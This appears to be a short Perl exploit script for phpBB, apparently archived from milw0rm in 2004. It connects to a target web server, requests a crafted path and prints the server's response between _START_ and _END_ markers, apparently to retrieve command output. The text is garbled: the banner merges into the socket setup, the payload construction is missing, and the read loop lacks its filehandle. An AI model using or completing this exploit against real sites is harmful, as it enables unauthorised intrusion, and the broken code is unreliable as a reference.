3#!/usr/bin/perl 

use IO::Socket; 

##                     @@@@@@@   @@@  @@@   @@@@@@  @@@  @@@ 
##                     @@!  @@@  @@!  @@@  !@@      @@!  @@@ 
##                     @!@!!@!   @!@  !@!   !@@!!   @!@!@!@! 
##                     !!: :!!   !!:  !!!      !:!  !!:  !!! 
##                      :   : :   :.:: :   ::.: :    :   : : 
## 
## phpBB new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; 

print $socket "GET $path HTTP/1.1\n"; 
print $socket "Host: $serv\n"; 
print $socket "Accept: */*\n"; 
print $socket "Connection: close\n\n"; 

$on = 0; 

while ($answer = ) 
{ 
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); } 
if ($on == 1) { print "  $answer"; } 
if ($answer =~ /^_START_/) { $on = 1; } 
} 

print "[-] EXPLOIT FAILED\r\n"; 
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; 

### EOF ### 

# milw0rm.com [2004-11-22]